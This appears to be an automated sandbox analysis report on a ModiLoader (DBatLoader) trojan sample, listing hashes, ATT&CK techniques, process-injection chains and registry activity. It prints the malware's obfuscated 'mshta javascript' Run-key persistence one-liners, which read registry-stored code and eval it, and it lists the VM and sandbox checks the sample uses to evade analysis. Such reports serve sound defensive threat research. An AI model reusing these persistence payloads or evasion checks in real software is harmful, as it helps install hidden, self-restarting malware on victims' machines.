modiloader | 5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033

General

Target

5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
Size

505KB
MD5

360373095ba9d97904aa5bfcbf2b7b7f
SHA1

950b51a8c388041a2d5dd5698a60f835689b98d1
SHA256

5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033
SHA512

8222ed22ccaf1e814a4bc9685e4ae8300e622ef835f0f3a7e9030b794288be52daaaccd462176a5b671604ff0e609d821a951233b372138e85886f009b531a15

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 12 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1964-56-0x0000000000400000-0x0000000000484000-memory.dmp	modiloader_stage2
behavioral1/memory/1964-57-0x0000000000050000-0x0000000000114000-memory.dmp	modiloader_stage2
behavioral1/memory/1964-61-0x0000000000050000-0x0000000000114000-memory.dmp	modiloader_stage2
behavioral1/memory/956-63-0x00000000000D0000-0x0000000000194000-memory.dmp	modiloader_stage2
behavioral1/memory/956-65-0x00000000000D0000-0x0000000000194000-memory.dmp	modiloader_stage2
behavioral1/memory/796-67-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/1384-70-0x0000000000160000-0x0000000000224000-memory.dmp	modiloader_stage2
behavioral1/memory/436-75-0x0000000000250000-0x0000000000314000-memory.dmp	modiloader_stage2
behavioral1/memory/436-76-0x0000000000250000-0x0000000000314000-memory.dmp	modiloader_stage2
behavioral1/memory/796-77-0x00000000001B0000-0x0000000000274000-memory.dmp	modiloader_stage2
behavioral1/memory/1384-78-0x0000000000160000-0x0000000000224000-memory.dmp	modiloader_stage2
behavioral1/memory/828-82-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:fkH4MTw=\"7xbL9\";q7C3=new%20ActiveXObject(\"WScript.Shell\");AdBp09JDBj=\"sik\";uP0fT=q7C3.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\15c05509\\\\e7bea261\");lnl77rCq=\"H4wuSgY\";eval(uP0fT);Bs5Rn6rixI=\"skEj2ISTys\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

dllhost.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

Processes:

dllhost.exe

pid process

796 dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:gIzUMs3H=\"xj8O\";hb61=new%20ActiveXObject(\"WScript.Shell\");s7ptyTGZ=\"D2RzFwiVhb\";FlRl35=hb61.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\15c05509\\\\e7bea261\");lyPK4ENb5i=\"84\";eval(FlRl35);GQCCr6r=\"70s8i\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:jB1YAQyQ=\"IgQLB2i\";D7m=new%20ActiveXObject(\"WScript.Shell\");N4cszT5AcH=\"6SSWbpzuM\";aIL81A=D7m.RegRead(\"HKCU\\\\software\\\\15c05509\\\\e7bea261\");n1losqC2=\"Z\";eval(aIL81A);ggASL9VEF=\"z98pU\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

dllhost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

T1112

Processes:

dllhost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

dllhost.exe

pid	process
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe

Suspicious behavior: MapViewOfSection 15 IoCs

Processes:

5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exedllhost.exedllhost.exe

pid	process
1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
956	dllhost.exe
956	dllhost.exe
956	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe
796	dllhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exedllhost.exedllhost.exe

description	pid	process	target process
PID 1964 wrote to memory of 956	1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe	dllhost.exe
PID 1964 wrote to memory of 956	1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe	dllhost.exe
PID 1964 wrote to memory of 956	1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe	dllhost.exe
PID 1964 wrote to memory of 956	1964	5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe	dllhost.exe
PID 956 wrote to memory of 796	956	dllhost.exe	dllhost.exe
PID 956 wrote to memory of 796	956	dllhost.exe	dllhost.exe
PID 956 wrote to memory of 796	956	dllhost.exe	dllhost.exe
PID 956 wrote to memory of 796	956	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 1384	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 1384	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 1384	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 1384	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 436	796	dllhost.exe	explorer.exe
PID 796 wrote to memory of 436	796	dllhost.exe	explorer.exe
PID 796 wrote to memory of 436	796	dllhost.exe	explorer.exe
PID 796 wrote to memory of 436	796	dllhost.exe	explorer.exe
PID 796 wrote to memory of 828	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 828	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 828	796	dllhost.exe	dllhost.exe
PID 796 wrote to memory of 828	796	dllhost.exe	dllhost.exe

C:\Users\Admin\AppData\Local\Temp\5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe
"C:\Users\Admin\AppData\Local\Temp\5bed9b4c1594f39ede0e38cebf6c2c1863a3a21f145fd3f923a25ef0a2540033.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1964

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:956

C:\Windows\SysWOW64\dllhost.exe
dllhost.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:796

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
4⤵
PID:1384

C:\Windows\SysWOW64\explorer.exe
explorer.exe
4⤵
PID:436

C:\Windows\SysWOW64\dllhost.exe
"C:\Windows\SysWOW64\dllhost.exe"
4⤵
PID:828

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

2

T1060

Privilege Escalation

Defense Evasion

Virtualization/Sandbox Evasion

2

T1497

Modify Registry

3

T1112

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

2

T1497

System Information Discovery

2

T1082

Peripheral Device Discovery

1

T1120

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/436-76-0x0000000000250000-0x0000000000314000-memory.dmp

Filesize
784KB

Download
memory/436-71-0x0000000000000000-mapping.dmp

Download
memory/436-74-0x0000000000D20000-0x0000000000FA1000-memory.dmp

Filesize
2.5MB

Download
memory/436-75-0x0000000000250000-0x0000000000314000-memory.dmp

Filesize
784KB

Download
memory/436-73-0x0000000075011000-0x0000000075013000-memory.dmp

Filesize
8KB

Download
memory/796-64-0x0000000000000000-mapping.dmp

Download
memory/796-77-0x00000000001B0000-0x0000000000274000-memory.dmp

Filesize
784KB

Download
memory/796-67-0x00000000001B0000-0x0000000000274000-memory.dmp

Filesize
784KB

Download
memory/828-79-0x0000000000000000-mapping.dmp

Download
memory/828-81-0x0000000000C30000-0x0000000000C35000-memory.dmp

Filesize
20KB

Download
memory/828-82-0x00000000000B0000-0x0000000000174000-memory.dmp

Filesize
784KB

Download
memory/956-62-0x0000000000C30000-0x0000000000C35000-memory.dmp

Filesize
20KB

Download
memory/956-63-0x00000000000D0000-0x0000000000194000-memory.dmp

Filesize
784KB

Download
memory/956-58-0x0000000000000000-mapping.dmp

Download
memory/956-65-0x00000000000D0000-0x0000000000194000-memory.dmp

Filesize
784KB

Download
memory/1384-68-0x0000000000000000-mapping.dmp

Download
memory/1384-70-0x0000000000160000-0x0000000000224000-memory.dmp

Filesize
784KB

Download
memory/1384-78-0x0000000000160000-0x0000000000224000-memory.dmp

Filesize
784KB

Download
memory/1964-54-0x0000000076901000-0x0000000076903000-memory.dmp

Filesize
8KB

Download
memory/1964-61-0x0000000000050000-0x0000000000114000-memory.dmp

Filesize
784KB

Download
memory/1964-59-0x0000000001EA0000-0x0000000001EC4000-memory.dmp

Filesize
144KB

Download
memory/1964-57-0x0000000000050000-0x0000000000114000-memory.dmp

Filesize
784KB

Download
memory/1964-56-0x0000000000400000-0x0000000000484000-memory.dmp

Filesize
528KB

Download
memory/1964-55-0x0000000001EA0000-0x0000000001EC4000-memory.dmp

Filesize
144KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads